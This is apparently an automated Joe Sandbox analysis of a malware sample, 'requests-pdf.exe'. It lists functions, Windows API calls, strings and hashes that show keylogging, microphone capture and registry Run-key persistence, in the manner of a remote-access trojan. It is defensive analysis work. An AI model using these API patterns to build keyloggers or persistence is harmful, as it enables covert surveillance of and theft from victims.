                                                    • Instruction Fuzzy Hash: 11219431A4020566CF05F7F2CC7AEEE7776AF50704F41056FD90267285FEA59A0ACE92
                                                    Function 00417CD9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SHCreateMemStream.SHLWAPI(00000000,00000000,?,?,?,00000000), ref: 00417CF4
                                                      • Part of subcall function 004177A2: 73502440.GDIPLUS(?,?,?,00417C1B,00000000,?,?,?,?,00000000), ref: 004177B6
                                                    • SHCreateMemStream.SHLWAPI(00000000,00000000,00000000,?,?,?,?,00000000), ref: 00417D19
                                                      • Part of subcall function 00417815: 7351EFB0.GDIPLUS(?,?,?,?,00000000,00417C71,00000000,?,?), ref: 00417827
                                                      • Part of subcall function 004177C5: 73525080.GDIPLUS(?,00417CCC), ref: 004177CE
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateStream$73502440735173525080
                                                    • String ID: image/png
                                                    • API String ID: 441360555-2966254431
                                                    • Opcode ID: 25f78a6c939044b88dc5ef2f4c2223da77e15e8f6bc9fc575da7c5d280fbe838
                                                    • Instruction ID: e3b7944e5392015f30009faa46d0af48502643625c308f0969f1fef2cb3c76d4
                                                    • Opcode Fuzzy Hash: 25f78a6c939044b88dc5ef2f4c2223da77e15e8f6bc9fc575da7c5d280fbe838
                                                    • Instruction Fuzzy Hash: AA21A135204211AFC300AF61CC88CAFBBBDEFCA714F10052EF90693151DB399945CBA6
                                                    Function 024E7F40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SHCreateMemStream.SHLWAPI(00000000,00000000,?,?,?,00000000), ref: 024E7F5B
                                                    • SHCreateMemStream.SHLWAPI(00000000,00000000,00000000,?,?,?,?,00000000), ref: 024E7F80
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateStream
                                                    • String ID: image/png
                                                    • API String ID: 1369699375-2966254431
                                                    • Opcode ID: 25f78a6c939044b88dc5ef2f4c2223da77e15e8f6bc9fc575da7c5d280fbe838
                                                    • Instruction ID: 717c05f8ff5d58f1b9af7f1ae8e2ebc76735c0140da03274522cd4d865386a4e
                                                    • Opcode Fuzzy Hash: 25f78a6c939044b88dc5ef2f4c2223da77e15e8f6bc9fc575da7c5d280fbe838
                                                    • Instruction Fuzzy Hash: E3218135200211AFC701EF65CC98CAFBBAEEF8A751F10051EFA0683121DB659A45DBA2
                                                    Function 004049BA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocalTime.KERNEL32(?,00473EE8,004745A8,?,?,?,?,?,?,?,00414D7D,?,00000001,0000004C,00000000), ref: 004049F1
                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                    • GetLocalTime.KERNEL32(?,00473EE8,004745A8,?,?,?,?,?,?,?,00414D7D,?,00000001,0000004C,00000000), ref: 00404A4E
                                                    Strings
                                                    • KeepAlive | Enabled | Timeout: , xrefs: 004049E5
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: LocalTime
                                                    • String ID: KeepAlive | Enabled | Timeout:
                                                    • API String ID: 481472006-1507639952
                                                    • Opcode ID: 4fbf8cc4982cbc942d3db3f2afc9c4eacdcd9657b35503fb3d66e7a76927aef2
                                                    • Instruction ID: fa495feba5854bec2644a8330ceabc5ae1d4c14ac10d4033695aa89a80f4fa5c
                                                    • Opcode Fuzzy Hash: 4fbf8cc4982cbc942d3db3f2afc9c4eacdcd9657b35503fb3d66e7a76927aef2
                                                    • Instruction Fuzzy Hash: 5A2126A1A042806BC310FB6AD80A76B7B9497D1319F44407EF849532E2DB3C5999CB9F
                                                    Function 024D4C21 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocalTime.KERNEL32(?), ref: 024D4C58
                                                      • Part of subcall function 024EA8ED: GetLocalTime.KERNEL32(00000000), ref: 024EA907
                                                    • GetLocalTime.KERNEL32(?), ref: 024D4CB5
                                                    Strings
                                                    • KeepAlive | Enabled | Timeout: , xrefs: 024D4C4C
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: LocalTime
                                                    • String ID: KeepAlive | Enabled | Timeout:
                                                    • API String ID: 481472006-1507639952
                                                    • Opcode ID: 4fbf8cc4982cbc942d3db3f2afc9c4eacdcd9657b35503fb3d66e7a76927aef2
                                                    • Instruction ID: d68062ec35444ed378dbabb000aaea0a686a4b1cf48015299982951365303787
                                                    • Opcode Fuzzy Hash: 4fbf8cc4982cbc942d3db3f2afc9c4eacdcd9657b35503fb3d66e7a76927aef2
                                                    • Instruction Fuzzy Hash: EF215771A083806FC711F72ADC2876F7BA55BC1305F44446FE84B03262EB78558A8BAF
                                                    Function 0041A686 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: LocalTime
                                                    • String ID: | $%02i:%02i:%02i:%03i
                                                    • API String ID: 481472006-2430845779
                                                    • Opcode ID: 49072da793dd1067c8c4d4b952bdc095bcf71ad5a1237c39b773f575b27685be
                                                    • Instruction ID: d205b4ebe2adc0156a37935a73d605e8b5d9817e81284f53efab16a15aec7ece
                                                    • Opcode Fuzzy Hash: 49072da793dd1067c8c4d4b952bdc095bcf71ad5a1237c39b773f575b27685be
                                                    • Instruction Fuzzy Hash: 80114C725082045AC704EBA5D8568AF73E8AB94708F10053FFC85931E1EF38DA84C69E
                                                    Function 024D6A7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CoInitializeEx.COMBASE(00000000,00000002), ref: 024D6A9C
                                                      • Part of subcall function 024D69CB: _wcslen.LIBCMT ref: 024D69EF
                                                      • Part of subcall function 024D69CB: CoGetObject.OLE32(?,00000024,004659B0,00000000), ref: 024D6A50
                                                    • CoUninitialize.COMBASE ref: 024D6AF5
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: InitializeObjectUninitialize_wcslen
                                                    • String ID: C:\Users\user\Desktop\requests-pdf.exe
                                                    • API String ID: 3851391207-4276748929
                                                    • Opcode ID: cc256bbe825efe690782e207798e63cf697be23d062579cdcaa40baaa38e88a5
                                                    • Instruction ID: 210d2c0aa735743e0b53b91e6aa0df1b59436241bdacd59470b0c156159d9d94
                                                    • Opcode Fuzzy Hash: cc256bbe825efe690782e207798e63cf697be23d062579cdcaa40baaa38e88a5
                                                    • Instruction Fuzzy Hash: 160192723057116BE2246B21EC69F7B775CDF42B65F22412FF94187281EBA1DC404A62
                                                    Function 024E2855 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 024E2879
                                                    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 024E28AF
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: QueryValue
                                                    • String ID: TUF
                                                    • API String ID: 3660427363-3431404234
                                                    • Opcode ID: b09a7c0ab263ba9602d255bab372d31fcc1af682bb43ba0fd7320c28ba140ab5
                                                    • Instruction ID: 13718a43398cf84fd38b62bed4d1536f1604d58c357dc912367df0e1c0edc51c
                                                    • Opcode Fuzzy Hash: b09a7c0ab263ba9602d255bab372d31fcc1af682bb43ba0fd7320c28ba140ab5
                                                    • Instruction Fuzzy Hash: A0014FB6A00108BFEF04DB95DC45EFF7ABEEB88251F10007AF901E2240E6B09F009A64
                                                    Function 00419E89 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • PathFileExistsW.SHLWAPI(00000000), ref: 00419EAE
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ExistsFilePath
                                                    • String ID: alarm.wav$xIG
                                                    • API String ID: 1174141254-4080756945
                                                    • Opcode ID: a83789ed06d4bd6bc78d9f5caa1c4ae1948ed669f67617dd6d77616b3b752c21
                                                    • Instruction ID: 7a4fe07350b1461b8d7cab7706a536354aa1130be6e3c83a2e6414618e768e61
                                                    • Opcode Fuzzy Hash: a83789ed06d4bd6bc78d9f5caa1c4ae1948ed669f67617dd6d77616b3b752c21
                                                    • Instruction Fuzzy Hash: 8B01802060420166C604B676D866AEE77458BC1719F40413FF89A966E2EF6CAEC6C2DF
                                                    Function 024EA0F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • PathFileExistsW.SHLWAPI(00000000), ref: 024EA115
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ExistsFilePath
                                                    • String ID: TUF$xIG
                                                    • API String ID: 1174141254-2109147017
                                                    • Opcode ID: 2fae138b2d3ec9b0a0b8c660c1a787d1356efb4be69c0d9f0b79cf6aaa7c8617
                                                    • Instruction ID: 3ca0c96e850f83be6f278afb06f04586033b240d4eb41372973cd4221a2819ad
                                                    • Opcode Fuzzy Hash: 2fae138b2d3ec9b0a0b8c660c1a787d1356efb4be69c0d9f0b79cf6aaa7c8617
                                                    • Instruction Fuzzy Hash: 7401282060421157DA16F732C835AAEBB434F80742F40802FDE5B573E5EFA48A45CB97
                                                    Function 0040A767 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004740F8), ref: 0040A884
                                                      • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                    • CloseHandle.KERNEL32(?), ref: 0040A7CA
                                                    • UnhookWindowsHookEx.USER32 ref: 0040A7DD
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                                    • String ID: Online Keylogger Stopped
                                                    • API String ID: 1623830855-1496645233
                                                    • Opcode ID: a471bc76fffd1fbac32a3585e4c4fab67e2de2ee53134a9f9046e82175b62acd
                                                    • Instruction ID: 3c154674506c802d119dc10506b29c5389a087cae46ba36945c53301bfe6088f
                                                    • Opcode Fuzzy Hash: a471bc76fffd1fbac32a3585e4c4fab67e2de2ee53134a9f9046e82175b62acd
                                                    • Instruction Fuzzy Hash: CC01D431A043019BDB25BB35C80B7AEBBB59B45315F80407FE481225D2EB7999A6C3DB
                                                    Function 024DA9CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 024DAADD: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004740F8), ref: 024DAAEB
                                                      • Part of subcall function 024DAADD: wsprintfW.USER32 ref: 024DAB6C
                                                      • Part of subcall function 024EA8ED: GetLocalTime.KERNEL32(00000000), ref: 024EA907
                                                    • CloseHandle.KERNEL32(?), ref: 024DAA31
                                                    • UnhookWindowsHookEx.USER32 ref: 024DAA44
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                                    • String ID: Online Keylogger Stopped
                                                    • API String ID: 1623830855-1496645233
                                                    • Opcode ID: a471bc76fffd1fbac32a3585e4c4fab67e2de2ee53134a9f9046e82175b62acd
                                                    • Instruction ID: 904daae00c4e346857635d1d1dae9971b96a389ff8f16755a5627bfdf1e9c01f
                                                    • Opcode Fuzzy Hash: a471bc76fffd1fbac32a3585e4c4fab67e2de2ee53134a9f9046e82175b62acd
                                                    • Instruction Fuzzy Hash: 8D0120316042109BDB16B735CD2A77EBBB25F41301F40059FD98312693EBE55485DBE6
                                                    Function 004016E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • waveInPrepareHeader.WINMM(00A968F8,00000020,?,?,00000000,00475B70,00473EE8,?,00000000,00401913), ref: 00401747
                                                    • waveInAddBuffer.WINMM(00A968F8,00000020,?,00000000,00401913), ref: 0040175D
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: wave$BufferHeaderPrepare
                                                    • String ID: T=G
                                                    • API String ID: 2315374483-379896819
                                                    • Opcode ID: 0ff4070462d876ba9a0314f854ca9e5b2f4718fb39603aa566027c6b2d74496f
                                                    • Instruction ID: f8644d152c35c587af506687758c025c54344a6e575747702fe1289d7b8da532
                                                    • Opcode Fuzzy Hash: 0ff4070462d876ba9a0314f854ca9e5b2f4718fb39603aa566027c6b2d74496f
                                                    • Instruction Fuzzy Hash: 65018B71301300AFD7209F39EC45A69BBA9EB4931AF01413EB808D32B1EB34A8509B98
                                                    Function 024D194F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • waveInPrepareHeader.WINMM(00473D90,00000020,00475BF4,00475BF4,00000000,00475B70,00473EE8,?,00000000,024D1B7A), ref: 024D19AE
                                                    • waveInAddBuffer.WINMM(00473D90,00000020,?,00000000,024D1B7A), ref: 024D19C4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: wave$BufferHeaderPrepare
                                                    • String ID: T=G
                                                    • API String ID: 2315374483-379896819
                                                    • Opcode ID: 0ff4070462d876ba9a0314f854ca9e5b2f4718fb39603aa566027c6b2d74496f
                                                    • Instruction ID: e37281c78072d4d1e8b6f9b20b7baae25812b100dbc5734217f19b71ff5487a8
                                                    • Opcode Fuzzy Hash: 0ff4070462d876ba9a0314f854ca9e5b2f4718fb39603aa566027c6b2d74496f
                                                    • Instruction Fuzzy Hash: 30018F71301300AFD7109F29EC84A65BBA6FB49315B01453EE90DC3661EB71A8509B68
                                                    Function 00447790 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • IsValidLocale.KERNEL32(00000000,j=D,00000000,00000001,?,?,00443D6A,?,?,?,?,00000004), ref: 004477DC
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: LocaleValid
                                                    • String ID: IsValidLocaleName$j=D
                                                    • API String ID: 1901932003-3128777819
                                                    • Opcode ID: 34048a5779238571e042b1bd9c847fb843bb8be3ea41a6d98ed8d0d1ded4c140
                                                    • Instruction ID: d075984350fdfa8650c9f53b231b8a0b142c4dacf6ed37e79753978632a381d4
                                                    • Opcode Fuzzy Hash: 34048a5779238571e042b1bd9c847fb843bb8be3ea41a6d98ed8d0d1ded4c140
                                                    • Instruction Fuzzy Hash: B7F0E930A45218F7EA116B61DC06F5EBB54CF49B11F50407AFD056A293CB796D0195DC
                                                    Function 00401D91 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: H_prolog
                                                    • String ID: T=G$T=G
                                                    • API String ID: 3519838083-3732185208
                                                    • Opcode ID: ece060f59eec47038b163f6730b9b4774a9df75ced3df6c836fae2af045d366e
                                                    • Instruction ID: 37a3980bbf64332544f5ef03d086655580814226aad47650f393c0c18fea351b
                                                    • Opcode Fuzzy Hash: ece060f59eec47038b163f6730b9b4774a9df75ced3df6c836fae2af045d366e
                                                    • Instruction Fuzzy Hash: BCF0E971A00220ABC714BB65C80669EB774EF41369F10827FB416B72E1CBBD5D04D65D
                                                    Function 0040AD56 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetKeyState.USER32(00000011), ref: 0040AD5B
                                                      • Part of subcall function 00409B10: GetForegroundWindow.USER32 ref: 00409B3F
                                                      • Part of subcall function 00409B10: GetWindowThreadProcessId.USER32(00000000,?), ref: 00409B4B
                                                      • Part of subcall function 00409B10: GetKeyboardLayout.USER32(00000000), ref: 00409B52
                                                      • Part of subcall function 00409B10: GetKeyState.USER32(00000010), ref: 00409B5C
                                                      • Part of subcall function 00409B10: GetKeyboardState.USER32(?), ref: 00409B67
                                                      • Part of subcall function 00409B10: ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 00409B8A
                                                      • Part of subcall function 00409B10: ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 00409BE3
                                                      • Part of subcall function 00409D58: SetEvent.KERNEL32(00000000,?,00000000,0040A91C,00000000), ref: 00409D84
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                                                    • String ID: [AltL]$[AltR]
                                                    • API String ID: 2738857842-2658077756
                                                    • Opcode ID: 2d4b77a5ab42310f07ca9c8b3da7c02f816ae55a84891d8b572aa7cd1e2c76fb
                                                    • Instruction ID: d2c0c429c9fe13b3c6c970781ecfc4970ab7400740a1dec538c1fc9fef0a0b20
                                                    • Opcode Fuzzy Hash: 2d4b77a5ab42310f07ca9c8b3da7c02f816ae55a84891d8b572aa7cd1e2c76fb
                                                    • Instruction Fuzzy Hash: 47E0652134072117C898323EA91E6EE3A228F82B65B80416FF8866BAD6DD6D4D5053CB
                                                    Function 00448803 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _free.LIBCMT ref: 00448825
                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?), ref: 00446ADB
                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorFreeHeapLast_free
                                                    • String ID: `@$`@
                                                    • API String ID: 1353095263-20545824
                                                    • Opcode ID: 9a963da6b0d453c70d37714207bd95daf40472698ea915a46c6a843fe12f4396
                                                    • Instruction ID: 46705ffcfacdd7a720b29fb61e5cb4af2d59a6418439a2947ca99394172970e0
                                                    • Opcode Fuzzy Hash: 9a963da6b0d453c70d37714207bd95daf40472698ea915a46c6a843fe12f4396
                                                    • Instruction Fuzzy Hash: B9E06D761006059F8720DE6DD400A86B7E4EF95360320852AE89DE3310DB32E812CB40
                                                    Function 0040ADB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetKeyState.USER32(00000012), ref: 0040ADB5
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: State
                                                    • String ID: [CtrlL]$[CtrlR]
                                                    • API String ID: 1649606143-2446555240
                                                    • Opcode ID: b832f2ba8c23f1ed675ed1d8fb8a36e3adfa50d2a3dfff7a7859d4c0b25c7229
                                                    • Instruction ID: 615b7dbe40c0b8188db9493e0f2b19f017fb36a74fa458c508a435569d7d4a1e
                                                    • Opcode Fuzzy Hash: b832f2ba8c23f1ed675ed1d8fb8a36e3adfa50d2a3dfff7a7859d4c0b25c7229
                                                    • Instruction Fuzzy Hash: 71E0862170071117C514353DD61A67F39228F41776F80013FF882ABAC6E96D8D6023CB
                                                    Function 0041297A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,?,80000002,80000002,0040C33C,00000000,?,00000000), ref: 00412988
                                                    • RegDeleteValueW.ADVAPI32(?,?,?,00000000), ref: 00412998
                                                    Strings
                                                    • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00412986
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: DeleteOpenValue
                                                    • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                    • API String ID: 2654517830-1051519024
                                                    • Opcode ID: 37dabd9028f0cede140cc98497e4e15f557d68d096268be44a89a64eb946223e
                                                    • Instruction ID: 4813e9247c8a4fa7715124fbb4df20ddc3d96ddce1d5e270e7c0f337b45b5704
                                                    • Opcode Fuzzy Hash: 37dabd9028f0cede140cc98497e4e15f557d68d096268be44a89a64eb946223e
                                                    • Instruction Fuzzy Hash: 0AE01270310304BFEF104F61ED06FDB37ACBB80B89F004165F505E5191E2B5DD54A658
                                                    Function 024E2BE1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,?,80000002,80000002,024DC5A3,00000000,?,00000000), ref: 024E2BEF
                                                    • RegDeleteValueW.ADVAPI32(?,?,?,00000000), ref: 024E2BFF
                                                    Strings
                                                    • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 024E2BED
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: DeleteOpenValue
                                                    • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                    • API String ID: 2654517830-1051519024
                                                    • Opcode ID: 37dabd9028f0cede140cc98497e4e15f557d68d096268be44a89a64eb946223e
